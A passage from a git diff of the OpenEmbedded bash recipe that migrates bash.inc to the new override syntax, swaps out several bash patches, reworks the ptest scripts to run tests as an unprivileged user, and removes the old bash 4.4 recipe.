-RDEPENDS_${PN}-ptest_append_libc-glibc = " locale-base-fr-fr locale-base-de-de"
-
-USERADD_PACKAGES = "${PN}-ptest"
-USERADD_PARAM_${PN}-ptest = "--create-home --user-group test"
+RDEPENDS:${PN} += "base-files"
+RDEPENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " \
+ glibc-gconv-big5hkscs \
+ glibc-gconv-iso8859-1 \
+ glibc-utils \
+ locale-base-de-de \
+ locale-base-en-us \
+ locale-base-fr-fr \
+ locale-base-fr-fr.iso-8859-1 \
+ locale-base-zh-hk.big5-hkscs \
+ "
CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}"
-do_configure_prepend () {
- if [ ! -e ${S}/acinclude.m4 ]; then
- cat ${S}/aclocal.m4 > ${S}/acinclude.m4
- fi
+do_configure:prepend () {
+ if [ ! -e ${S}/acinclude.m4 ]; then
+ cat ${S}/aclocal.m4 > ${S}/acinclude.m4
+ fi
+}
+
+do_compile:prepend() {
+ # Remove any leftover .build files. This ensures that bash always has the
+ # same version number and keeps builds reproducible
+ rm -f ${B}/.build
}
do_compile_ptest () {
oe_runmake buildtest
}
-do_install_append () {
+do_install:prepend () {
+ # Ensure determinism as this counter increases for each make call
+ rm -f ${B}/.build
+}
+
+do_install:append () {
# Move /usr/bin/bash to /bin/bash, if need
if [ "${base_bindir}" != "${bindir}" ]; then
mkdir -p ${D}${base_bindir}
mv ${D}${bindir}/bash ${D}${base_bindir}
fi
}
-do_install_append_class-target () {
+
+fix_absolute_paths () {
# Clean buildhost references in bashbug
sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e "s,-I${WORKDIR}/\S* ,,g" \
@@ -69,30 +94,50 @@ do_install_append_class-target () {
${D}${libdir}/bash/Makefile.inc
}
+do_install:append:class-target () {
+ fix_absolute_paths
+}
+
+do_install:append:class-nativesdk () {
+ fix_absolute_paths
+}
+
do_install_ptest () {
make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test
cp ${B}/Makefile ${D}${PTEST_PATH}
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ cp ${B}/version.h ${D}${PTEST_PATH}
+ cp ${S}/y.tab.[ch] ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests
sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's|${BUILD_LDFLAGS}||g' \
-e "s,${S},,g" -e "s,${B},,g" -e "s,${STAGING_DIR_NATIVE},,g" \
-e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${UNINATIVE_LOADER}:${base_bindir}/false:g' \
${D}${PTEST_PATH}/Makefile
}
+# The uninative loader is different on i386 & x86_64 hosts. Since it is only
+# being replaced with /bin/false anyway, it doesn't need to be part of the task
+# hash
+do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
}
PACKAGES += "${PN}-bashbug"
-FILES_${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
-FILES_${PN}-bashbug = "${bindir}/bashbug"
+FILES:${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
+FILES:${PN}-bashbug = "${bindir}/bashbug"
PACKAGE_BEFORE_PN += "${PN}-loadable"
-RDEPENDS_${PN}-loadable += "${PN}"
-FILES_${PN}-loadable += "${libdir}/bash/*"
+RDEPENDS:${PN}-loadable += "${PN}"
+FILES:${PN}-loadable += "${libdir}/bash/*"
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
+# Limit the RPROVIDES here to class target so that if usrmerge is enabled for nativesdk, it does not
+# include host system paths in /bin/
+RPROVIDES:${PN}:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
diff --git a/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch b/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch
new file mode 100644
index 0000000000..77d770b364
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch
@@ -0,0 +1,226 @@
+From 721d5be99eb37d31e48bd66d61808a66a4c5ab84 Mon Sep 17 00:00:00 2001
+From: Chet Ramey <chet.ramey@case.edu>
+Date: Mon, 30 Oct 2023 12:16:07 -0400
+Subject: [PATCH] changes to SIGINT handler while waiting for a child; skip
+ vertical whitespace after translating an integer
+
+Upstream-Status: Backport from
+[https://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=fe24a6a55e8850298b496c5b9d82f1866eba190e]
+
+[Adjust and drop some codes to be applicable the tree]
+
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ general.c | 5 +++--
+ jobs.c | 24 ++++++++++++++++--------
+ tests/redir.right | 4 ++--
+ tests/redir11.sub | 2 ++
+ tests/type.right | 16 ++++++++--------
+ tests/type.tests | 24 ++++++++++++------------
+ 6 files changed, 43 insertions(+), 32 deletions(-)
+
+diff --git a/general.c b/general.c
+index 85c5a8b6..65e2ee06 100644
+--- a/general.c
++++ b/general.c
+@@ -262,8 +262,9 @@ legal_number (string, result)
+ if (errno || ep == string)
+ return 0; /* errno is set on overflow or underflow */
+
+- /* Skip any trailing whitespace, since strtoimax does not. */
+- while (whitespace (*ep))
++ /* Skip any trailing whitespace, since strtoimax does not, using the same
++ test that strtoimax uses for leading whitespace. */
++ while (isspace ((unsigned char) *ep))
+ ep++;
+
+ /* If *string is not '\0' but *ep is '\0' on return, the entire string
+diff --git a/jobs.c b/jobs.c
+index 6b986ed7..262d78de 100644
+--- a/jobs.c
++++ b/jobs.c
+@@ -2718,6 +2718,10 @@ wait_for_background_pids (ps)
+ #define INVALID_SIGNAL_HANDLER (SigHandler *)wait_for_background_pids
+ static SigHandler *old_sigint_handler = INVALID_SIGNAL_HANDLER;
+
++/* The current SIGINT handler as set by restore_sigint_handler. Only valid
++ immediately after restore_sigint_handler, used for continuations. */
++static SigHandler *cur_sigint_handler = INVALID_SIGNAL_HANDLER;
++
+ static int wait_sigint_received;
+ static int child_caught_sigint;
+
+@@ -2735,6 +2739,7 @@ wait_sigint_cleanup ()
+ static void
+ restore_sigint_handler ()
+ {
++ cur_sigint_handler = old_sigint_handler;
+ if (old_sigint_handler != INVALID_SIGNAL_HANDLER)
+ {
+ set_signal_handler (SIGINT, old_sigint_handler);
+@@ -2758,8 +2763,7 @@ wait_sigint_handler (sig)
+ restore_sigint_handler ();
+ /* If we got a SIGINT while in `wait', and SIGINT is trapped, do
+ what POSIX.2 says (see builtins/wait.def for more info). */
+- if (this_shell_builtin && this_shell_builtin == wait_builtin &&
+- signal_is_trapped (SIGINT) &&
++ if (signal_is_trapped (SIGINT) &&
+ ((sigint_handler = trap_to_sighandler (SIGINT)) == trap_handler))
+ {
+ trap_handler (SIGINT); /* set pending_traps[SIGINT] */
+@@ -2782,6 +2786,8 @@ wait_sigint_handler (sig)
+ {
+ set_exit_status (128+SIGINT);
+ restore_sigint_handler ();
++ if (cur_sigint_handler == INVALID_SIGNAL_HANDLER)
++ set_sigint_handler (); /* XXX - only do this in one place */
+ kill (getpid (), SIGINT);
+ }
+
+@@ -2926,11 +2932,13 @@ wait_for (pid, flags)
+ {
+ SigHandler *temp_sigint_handler;
+
+- temp_sigint_handler = set_signal_handler (SIGINT, wait_sigint_handler);
+- if (temp_sigint_handler == wait_sigint_handler)
+- internal_debug ("wait_for: recursively setting old_sigint_handler to wait_sigint_handler: running_trap = %d", running_trap);
+- else
+- old_sigint_handler = temp_sigint_handler;
++ temp_sigint_handler = old_sigint_handler;
++ old_sigint_handler = set_signal_handler (SIGINT, wait_sigint_handler);
++ if (old_sigint_handler == wait_sigint_handler)
++ {
++ internal_debug ("wait_for: recursively setting old_sigint_handler to wait_sigint_handler: running_trap = %d", running_trap);
++ old_sigint_handler = temp_sigint_handler;
++ }
+ waiting_for_child = 0;
+ if (old_sigint_handler == SIG_IGN)
+ set_signal_handler (SIGINT, old_sigint_handler);
+@@ -4136,7 +4144,7 @@ set_job_status_and_cleanup (job)
+ SIGINT (if we reset the sighandler to the default).
+ In this case, we have to fix things up. What a crock. */
+ if (temp_handler == trap_handler && signal_is_trapped (SIGINT) == 0)
+- temp_handler = trap_to_sighandler (SIGINT);
++ temp_handler = trap_to_sighandler (SIGINT);
+ restore_sigint_handler ();
+ if (temp_handler == SIG_DFL)
+ termsig_handler (SIGINT); /* XXX */
+diff --git a/tests/redir.right b/tests/redir.right
+index 8db10414..9e1403c8 100644
+--- a/tests/redir.right
++++ b/tests/redir.right
+@@ -154,10 +154,10 @@ foo
+ 1
+ 7
+ after: 42
+-./redir11.sub: line 53: $(ss= declare -i ss): ambiguous redirect
++./redir11.sub: line 55: $(ss= declare -i ss): ambiguous redirect
+ after: 42
+ a+=3
+ foo
+ foo
+-./redir11.sub: line 75: 42: No such file or directory
++./redir11.sub: line 77: 42: No such file or directory
+ 42
+diff --git a/tests/redir11.sub b/tests/redir11.sub
+index d417cdb6..ca9854cd 100644
+--- a/tests/redir11.sub
++++ b/tests/redir11.sub
+@@ -34,6 +34,8 @@ a=4 b=7 ss=4 declare -i ss
+ a=4 b=7 foo
+ echo after: $a
+
++exec 7>&- 4>&-
++
+ unset a
+ a=4 echo foo 2>&1 >&$(foo) | { grep -q 'Bad file' || echo 'redir11 bad 3'; }
+ a=1 echo foo 2>&1 >&$(foo) | { grep -q 'Bad file' || echo 'redir11 bad 4'; }
+diff --git a/tests/type.right b/tests/type.right
+index bbc228e8..e0a66745 100644
+--- a/tests/type.right
++++ b/tests/type.right
+@@ -24,15 +24,15 @@ func ()
+ }
+ while
+ while is a shell keyword
+-./type.tests: line 56: type: m: not found
+-alias m='more'
+-alias m='more'
+-m is aliased to `more'
++./type.tests: line 56: type: morealias: not found
++alias morealias='more'
++alias morealias='more'
++morealias is aliased to `more'
+ alias
+-alias m='more'
+-alias m='more'
+-alias m='more'
+-m is aliased to `more'
++alias morealias='more'
++alias morealias='more'
++alias morealias='more'
++morealias is aliased to `more'
+ builtin
+ builtin is a shell builtin
+ /bin/sh
+diff --git a/tests/type.tests b/tests/type.tests
+index fd39c18a..ddc15407 100644
+--- a/tests/type.tests
++++ b/tests/type.tests
+@@ -25,8 +25,6 @@ type -r ${THIS_SH}
+ type notthere
+ command -v notthere
+
+-alias m=more
+-
+ unset -f func 2>/dev/null
+ func() { echo this is func; }
+
+@@ -49,24 +47,26 @@ command -V func
+ command -v while
+ command -V while
+
++alias morealias=more
++
+ # the following two lines should produce the same output
+ # post-3.0 patch makes command -v silent, as posix specifies
+ # first test with alias expansion off (should all fail or produce no output)
+-type -t m
+-type m
+-command -v m
++type -t morealias
++type morealias
++command -v morealias
+ alias -p
+-alias m
++alias morealias
+
+ # then test with alias expansion on
+ shopt -s expand_aliases
+-type m
+-type -t m
+-command -v m
++type morealias
++type -t morealias
++command -v morealias
+ alias -p
+-alias m
++alias morealias
+
+-command -V m
++command -V morealias
+ shopt -u expand_aliases
+
+ command -v builtin
+@@ -76,7 +76,7 @@ command -V /bin/sh
+
+ unset -f func
+ type func
+-unalias m
++unalias morealias
+ type m
+
+ hash -r
+--
+2.35.5
+
diff --git a/meta/recipes-extended/bash/bash/0001-help-fix-printf-format-security-warning.patch b/meta/recipes-extended/bash/bash/0001-help-fix-printf-format-security-warning.patch
deleted file mode 100644
index 5405c84c78..0000000000
--- a/meta/recipes-extended/bash/bash/0001-help-fix-printf-format-security-warning.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From e5837a42f8f48a6a721805ff8f7fcd32861d09ca Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andr=C3=A9=20Draszik?= <adraszik@tycoint.com>
-Date: Tue, 26 Jul 2016 13:09:47 +0100
-Subject: [PATCH] help: fix printf() format security warning
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-| ../../bash-4.3.30/builtins/../../bash-4.3.30/builtins/help.def: In function 'help_builtin':
-| ../../bash-4.3.30/builtins/../../bash-4.3.30/builtins/help.def:130:7: error: format not a string literal and no format arguments [-Werror=format-security]
-| printf (ngettext ("Shell commands matching keyword `", "Shell commands matching keywords `", (list->next ? 2 : 1)));
-| ^~~~~~
-
-Signed-off-by: André Draszik <adraszik@tycoint.com>
----
-Upstream-Status: Pending
- builtins/help.def | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/builtins/help.def b/builtins/help.def
-index 1894f17..cf624c6 100644
---- a/builtins/help.def
-+++ b/builtins/help.def
-@@ -127,7 +127,7 @@ help_builtin (list)
-
- if (glob_pattern_p (list->word->word))
- {
-- printf (ngettext ("Shell commands matching keyword `", "Shell commands matching keywords `", (list->next ? 2 : 1)));
-+ printf ("%s", ngettext ("Shell commands matching keyword `", "Shell commands matching keywords `", (list->next ? 2 : 1)));
- print_word_list (list, ", ");
- printf ("'\n\n");
- }
---
-2.8.1
-
diff --git a/meta/recipes-extended/bash/bash/bash-memleak-bug-fix-for-builtin-command-read.patch b/meta/recipes-extended/bash/bash/bash-memleak-bug-fix-for-builtin-command-read.patch
deleted file mode 100644
index 9fb6ba972b..0000000000
--- a/meta/recipes-extended/bash/bash/bash-memleak-bug-fix-for-builtin-command-read.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From d3b6303a6853f612a56848ee4e59eaa0b0ab9489 Mon Sep 17 00:00:00 2001
-From: Zhang Xiao <xiao.zhang@windriver.com>
-Date: Tue, 21 Feb 2017 11:30:14 +0800
-Subject: [PATCH] bash: memleak bug fix for builtin command read
-
-Built in command "read" with "-e" use Readline to obtain the line
-in an interactive shell. In this process, a string "rlbuf" is
-just allocated without free operation thus cause memory leak. Fix it.
-
-Upstream-Status: Submitted [http://lists.gnu.org/archive/html/bug-bash/2017-02/msg00061.html]
-
-Signed-off-by: Zhang Xiao <xiao.zhang@windriver.com>
----
- builtins/read.def | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/builtins/read.def b/builtins/read.def
-index 4397154..ee0c5a6 100644
---- a/builtins/read.def
-+++ b/builtins/read.def
-@@ -674,6 +674,11 @@ add_char:
- input_string[i] = '\0';
- CHECK_ALRM;
-
-+#if defined (READLINE)
-+ if (edit)
-+ xfree (rlbuf);
-+#endif
-+
- if (retval < 0)
- {
- t_errno = errno;
---
-1.9.1
-
diff --git a/meta/recipes-extended/bash/bash/build-tests.patch b/meta/recipes-extended/bash/bash/build-tests.patch
index 73a81b60da..c1b9b8261f 100644
--- a/meta/recipes-extended/bash/bash/build-tests.patch
+++ b/meta/recipes-extended/bash/bash/build-tests.patch
@@ -1,16 +1,24 @@
-Add 'ptest' target to Makefile, to run tests without checking dependencies.
+From 318b762837c2ad25319caeaf0320eff613b64daf Mon Sep 17 00:00:00 2001
+From: Anders Roxell <anders.roxell@enea.com>
+Date: Wed, 19 Dec 2012 17:18:31 +0100
+Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking
+ dependencies.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [ptest specific]
Signed-off-by: Anders Roxell <anders.roxell@enea.com>
+
+Rebase to 5.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
Makefile.in | 24 +++++++++++++++++++-----
1 file changed, 19 insertions(+), 5 deletions(-)
diff --git a/Makefile.in b/Makefile.in
+index bc97049..937ce39 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -848,20 +848,34 @@ maybe-clean:
+@@ -943,20 +943,34 @@ maybe-clean:
fi
recho$(EXEEXT): $(SUPPORT_SRC)recho.c
@@ -48,8 +56,5 @@ diff --git a/Makefile.in b/Makefile.in
+
+runtest:
@( cd $(srcdir)/tests && \
- PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
+ BUILD_DIR=$(BUILD_DIR) PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
---
-1.8.1.2
-
diff --git a/meta/recipes-extended/bash/bash/execute_cmd.patch b/meta/recipes-extended/bash/bash/execute_cmd.patch
deleted file mode 100644
index 81f8f0a9cd..0000000000
--- a/meta/recipes-extended/bash/bash/execute_cmd.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
---- execute_cmd.c.orig Fri Jun 3 13:34:42 2011
-+++ execute_cmd.c Fri Jun 3 13:36:41 2011
-@@ -2202,7 +2202,11 @@
- /* If the `lastpipe' option is set with shopt, and job control is not
- enabled, execute the last element of non-async pipelines in the
- current shell environment. */
-- if (lastpipe_opt && job_control == 0 && asynchronous == 0 && pipe_out == NO_PIPE && prev > 0)
-+ if (lastpipe_opt &&
-+#if defined(JOB_CONTROL)
-+ job_control == 0 &&
-+#endif
-+ asynchronous == 0 && pipe_out == NO_PIPE && prev > 0)
- {
- lstdin = move_to_high_fd (0, 0, 255);
- if (lstdin > 0)
diff --git a/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch b/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch
new file mode 100644
index 0000000000..60f1852316
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch
@@ -0,0 +1,34 @@
+From 59ddfda14e3c9aa6286bb4c4c0748f7c1324a65a Mon Sep 17 00:00:00 2001
+From: Chet Ramey <chet.ramey@case.edu>
+Date: Fri, 7 Apr 2023 00:28:46 -0700
+Subject: [PATCH] $(<nosuchfile) is no longer a fatal error with errexit
+ enabled
+
+This is a trimmed-down version of a commit in the bash 'devel' branch
+[1] that contains this fix as well as other unrelated ones.
+
+[1] https://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=ec9447ce9392a0f93d96789c3741285fede8a150
+
+Upstream-Status: Backport
+
+Signed-off-by: Zev Weiss <zev@bewilderbeest.net>
+---
+ builtins/evalstring.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/builtins/evalstring.c b/builtins/evalstring.c
+index df3dd68e2a7e..6612081cd646 100644
+--- a/builtins/evalstring.c
++++ b/builtins/evalstring.c
+@@ -753,7 +753,7 @@ open_redir_file (r, fnp)
+ fd = open(fn, O_RDONLY);
+ if (fd < 0)
+ {
+- file_error (fn);
++ internal_error ("%s: %s", fn, strerror (errno));
+ free (fn);
+ if (fnp)
+ *fnp = 0;
+--
+2.40.0
+
diff --git a/meta/recipes-extended/bash/bash/fix-run-coproc-run-heredoc-run-execscript-run-test-f.patch b/meta/recipes-extended/bash/bash/fix-run-coproc-run-heredoc-run-execscript-run-test-f.patch
deleted file mode 100644
index 9ac2461ab6..0000000000
--- a/meta/recipes-extended/bash/bash/fix-run-coproc-run-heredoc-run-execscript-run-test-f.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From d1cd4c31ea0ed7406a3ad4bdaa211f581063f655 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 10:21:21 +0800
-Subject: [PATCH 2/2] fix run-execscript/run-test/ failed
-
-FAIL: run-execscript:
-the test suite should not be run as root
-
-FAIL: run-test
-the test suite should not be run as root
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- tests/run-execscript | 3 ++-
- tests/run-test | 3 ++-
- 2 files changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/tests/run-execscript b/tests/run-execscript
-index de78644..38397c1 100644
---- a/tests/run-execscript
-+++ b/tests/run-execscript
-@@ -5,5 +5,6 @@ echo "warning: \`/tmp/bash-notthere' not being found or \`/' being a directory"
- echo "warning: produce diff output, please do not consider this a test failure" >&2
- echo "warning: if diff output differing only in the location of the bash" >&2
- echo "warning: binary appears, please do not consider this a test failure" >&2
--${THIS_SH} ./execscript > ${BASH_TSTOUT} 2>&1
-+rm -f ${BASH_TSTOUT}
-+su -c "${THIS_SH} ./execscript > ${BASH_TSTOUT} 2>&1" test
- diff ${BASH_TSTOUT} exec.right && rm -f ${BASH_TSTOUT}
-diff --git a/tests/run-test b/tests/run-test
-index d68791c..d6317d2 100644
---- a/tests/run-test
-+++ b/tests/run-test
-@@ -1,4 +1,5 @@
- unset GROUPS UID 2>/dev/null
-
--${THIS_SH} ./test.tests >${BASH_TSTOUT} 2>&1
-+rm -f ${BASH_TSTOUT}
-+su -c "${THIS_SH} ./test.tests > ${BASH_TSTOUT} 2>&1" test
- diff ${BASH_TSTOUT} test.right && rm -f ${BASH_TSTOUT}
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/bash/bash/run-bash-ptests b/meta/recipes-extended/bash/bash/run-bash-ptests
new file mode 100644
index 0000000000..d73a27224d
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/run-bash-ptests
@@ -0,0 +1,4 @@
+#!/bin/sh
+cd "$(dirname "$0")"
+make -k THIS_SH=/bin/bash BUILD_DIR=`pwd` srcdir=`pwd` runtest
+
diff --git a/meta/recipes-extended/bash/bash/run-ptest b/meta/recipes-extended/bash/bash/run-ptest
index c61fabd020..738ad3c42c 100644
--- a/meta/recipes-extended/bash/bash/run-ptest
+++ b/meta/recipes-extended/bash/bash/run-ptest
@@ -19,4 +19,8 @@ then
echo "Warning: The de_DE* locales is needed to run the intl.tests, please add it."
fi
-make -k THIS_SH=/bin/bash BUILD_DIR=`pwd` srcdir=`pwd` runtest
+useradd bashtest
+chown -R bashtest:bashtest tests
+setpriv --reuid bashtest --rgid bashtest --clear-groups --reset-env $(dirname "$0")/run-bash-ptests
+chown -R root:root tests
+userdel -r bashtest
diff --git a/meta/recipes-extended/bash/bash/use_aclocal.patch b/meta/recipes-extended/bash/bash/use_aclocal.patch
new file mode 100644
index 0000000000..bd6870b386
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/use_aclocal.patch
@@ -0,0 +1,70 @@
+From d1bf23817afffd5917b74da6946e0c3b7e63e336 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 28 Dec 2020 21:04:27 +0100
+Subject: [PATCH] bash: update 5.0 -> 5.1
+
+Including m4 files directly like this confuses autotools.bbclass, remove
+the references and rely upon aclocal to collect the m4 files together
+as needed instead making it work like other autotools based projects.
+
+Upstream-Status: Inappropriate [OE configuration specific]
+RP 2021/1/20
+
+---
+ configure.ac | 43 -------------------------------------------
+ 1 file changed, 43 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 50a6e20..a3b5bd7 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -710,49 +710,6 @@ if test x$SIZE = x; then
+ fi
+ AC_SUBST(SIZE)
+
+-m4_include([m4/stat-time.m4])
+-m4_include([m4/timespec.m4])
+-
+-m4_include([m4/strtoimax.m4])
+-
+-dnl include files for gettext
+-
+-m4_include([m4/codeset.m4])
+-m4_include([m4/extern-inline.m4])
+-m4_include([m4/fcntl-o.m4])
+-m4_include([m4/gettext.m4])
+-m4_include([m4/glibc2.m4])
+-m4_include([m4/glibc21.m4])
+-m4_include([m4/host-cpu-c-abi.m4])
+-m4_include([m4/iconv.m4])
+-m4_include([m4/intdiv0.m4])
+-m4_include([m4/intl.m4])
+-m4_include([m4/intlmacosx.m4])
+-m4_include([m4/intl-thread-locale.m4])
+-m4_include([m4/intmax.m4])
+-m4_include([m4/inttypes-pri.m4])
+-m4_include([m4/inttypes.m4])
+-m4_include([m4/inttypes_h.m4])
+-m4_include([m4/lcmessage.m4])
+-m4_include([m4/lib-ld.m4])
+-m4_include([m4/lib-link.m4])
+-m4_include([m4/lib-prefix.m4])
+-m4_include([m4/lock.m4])
+-m4_include([m4/nls.m4])
+-m4_include([m4/po.m4])
+-m4_include([m4/printf-posix.m4])
+-m4_include([m4/progtest.m4])
+-m4_include([m4/pthread_rwlock_rdlock.m4])
+-m4_include([m4/size_max.m4])
+-m4_include([m4/stdint_h.m4])
+-m4_include([m4/threadlib.m4])
+-m4_include([m4/uintmax_t.m4])
+-m4_include([m4/ulonglong.m4])
+-m4_include([m4/visibility.m4])
+-m4_include([m4/wchar_t.m4])
+-m4_include([m4/wint_t.m4])
+-m4_include([m4/xsize.m4])
+-
+ dnl C compiler characteristics
+ AC_C_CONST
+ AC_C_INLINE
diff --git a/meta/recipes-extended/bash/bash_4.4.bb b/meta/recipes-extended/bash/bash_4.4.bb
deleted file mode 100644
index e544d07c10..0000000000
--- a/meta/recipes-extended/bash/bash_4.4.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-require bash.inc
-
-# GPLv2+ (< 4.0), GPLv3+ (>= 4.0)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-001;apply=yes;striplevel=0;name=patch001 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-002;apply=yes;striplevel=0;name=patch002 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-003;apply=yes;striplevel=0;name=patch003 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-004;apply=yes;striplevel=0;name=patch004 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-005;apply=yes;striplevel=0;name=patch005 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-006;apply=yes;striplevel=0;name=patch006 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-007;apply=yes;striplevel=0;name=patch007 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-008;apply=yes;striplevel=0;name=patch008 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-009;apply=yes;striplevel=0;name=patch009 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-010;apply=yes;striplevel=0;name=patch010 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-011;apply=yes;striplevel=0;name=patch011 \
- ${GNU_MIRROR}/bash/bash-4.4-patches/bash44-012;apply=yes;striplevel=0;name=patch012 \
- file://execute_cmd.patch;striplevel=0 \
- file://mkbuiltins_have_stringize.patch \
- file://build-tests.patch \
- file://test-output.patch \
- file://fix-run-coproc-run-heredoc-run-execscript-run-test-f.patch \
- file://run-ptest \
- file://fix-run-builtins.patch \
- file://0001-help-fix-printf-format-security-warning.patch \
- file://bash-memleak-bug-fix-for-builtin-command-read.patch \
- "
-
-SRC_URI[tarball.md5sum] = "148888a7c95ac23705559b6f477dfe25"
-SRC_URI[tarball.sha256sum] = "d86b3392c1202e8ff5a423b302e6284db7f8f435ea9f39b5b1b20fd3ac36dfcb"
-
-SRC_URI[patch001.md5sum] = "817d01a6c0af6f79308a8b7b649e53d8"
-SRC_URI[patch001.sha256sum] = "3e28d91531752df9a8cb167ad07cc542abaf944de9353fe8c6a535c9f1f17f0f"
-SRC_URI[patch002.md5sum] = "765e14cff12c7284009772e8e24f2fe0"
-SRC_URI[patch002.sha256sum] = "7020a0183e17a7233e665b979c78c184ea369cfaf3e8b4b11f5547ecb7c13c53"
-SRC_URI[patch003.md5sum] = "49e7da93bf07f510a2eb6bb43ac3e5a2"
-SRC_URI[patch003.sha256sum] = "51df5a9192fdefe0ddca4bdf290932f74be03ffd0503a3d112e4199905e718b2"
-SRC_URI[patch004.md5sum] = "4557d674ab5831a5fa98052ab19edaf4"
-SRC_URI[patch004.sha256sum] = "ad080a30a4ac6c1273373617f29628cc320a35c8cd06913894794293dc52c8b3"
-SRC_URI[patch005.md5sum] = "cce96dd77cdd1d293beec10848f6cbb5"
-SRC_URI[patch005.sha256sum] = "221e4b725b770ad0bb6924df3f8d04f89eeca4558f6e4c777dfa93e967090529"
-SRC_URI[patch006.md5sum] = "d3379f8d8abce5c6ee338f931ad008d5"
-SRC_URI[patch006.sha256sum] = "6a8e2e2a6180d0f1ce39dcd651622fb6d2fd05db7c459f64ae42d667f1e344b8"
-SRC_URI[patch007.md5sum] = "ec38c76ca439ca7f9c178e9baede84fc"
-SRC_URI[patch007.sha256sum] = "de1ccc07b7bfc9e25243ad854f3bbb5d3ebf9155b0477df16aaf00a7b0d5edaf"
-SRC_URI[patch008.md5sum] = "e0ba18c1e3b94f905da9b5bf9d38b58b"
-SRC_URI[patch008.sha256sum] = "86144700465933636d7b945e89b77df95d3620034725be161ca0ca5a42e239ba"
-SRC_URI[patch009.md5sum] = "e952d4f44e612048930c559d90eb99bb"
-SRC_URI[patch009.sha256sum] = "0b6bdd1a18a0d20e330cc3bc71e048864e4a13652e29dc0ebf3918bea729343c"
-SRC_URI[patch010.md5sum] = "57b5b35955d68f9a09dbef6b86d2c782"
-SRC_URI[patch010.sha256sum] = "8465c6f2c56afe559402265b39d9e94368954930f9aa7f3dfa6d36dd66868e06"
-SRC_URI[patch011.md5sum] = "cc896e1fa696b93ded568e557e2392d5"
